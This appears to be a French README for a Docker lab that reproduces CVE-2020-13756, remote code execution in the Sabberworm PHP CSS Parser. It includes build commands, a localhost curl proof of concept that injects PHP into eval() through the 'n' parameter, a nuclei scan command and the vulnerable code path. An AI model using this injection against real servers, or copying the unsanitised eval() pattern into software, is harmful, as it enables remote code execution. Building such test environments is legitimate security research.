
Environnement de test vulnérable pour CVE-2020-13756 (Sabberworm PHP CSS Parser RCE)
| Champ | Valeur |
|---|
| CVE | CVE-2020-13756 |
| Produit | Sabberworm PHP CSS Parser |
| Versions vulnérables | < 8.3.1 |
| Sévérité | Critique (CVSS 9.8) |
| Type | Exécution de code à distance |
docker run -d -p 8080:80 $(docker build -q https://github.com/KrE80r/CVE-2020-13756-env.git)
Ou clonez et exécutez :
git clone https://github.com/KrE80r/CVE-2020-13756-env.git && cd CVE-2020-13756-env && docker-compose up -d
# Cloner le dépôt
git clone https://github.com/KrE80r/CVE-2020-13756-env.git
cd CVE-2020-13756-env
# Construire et exécuter
docker build -t sabberworm-vuln .
docker run -d -p 8080:80 sabberworm-vuln
# Test RCE - doit afficher "VULN_TEST" dans la réponse
curl "http://localhost:8080/?n=100;printf(%22VULN_TEST%22);"
La sortie attendue contient VULN_TEST au début, prouvant l'exécution de code.
nuclei -t CVE-2020-13756.yaml -u http://localhost:8080 -debug
La vulnérabilité réside dans la fonction getSelectorsBySpecificity() qui transmet une entrée utilisateur non nettoyée à eval() :
// Chemin de code vulnérable
$selectors = $doc->getSelectorsBySpecificity('> ' . $_GET['n']);
// Lorsque n=100;printf("test"); eval() exécute : eval('> 100;printf("test");')
Cet environnement est réservé aux tests de sécurité autorisés uniquement. Ne l'utilisez pas contre des systèmes sans autorisation.
KrE80r - Recherche en sécurité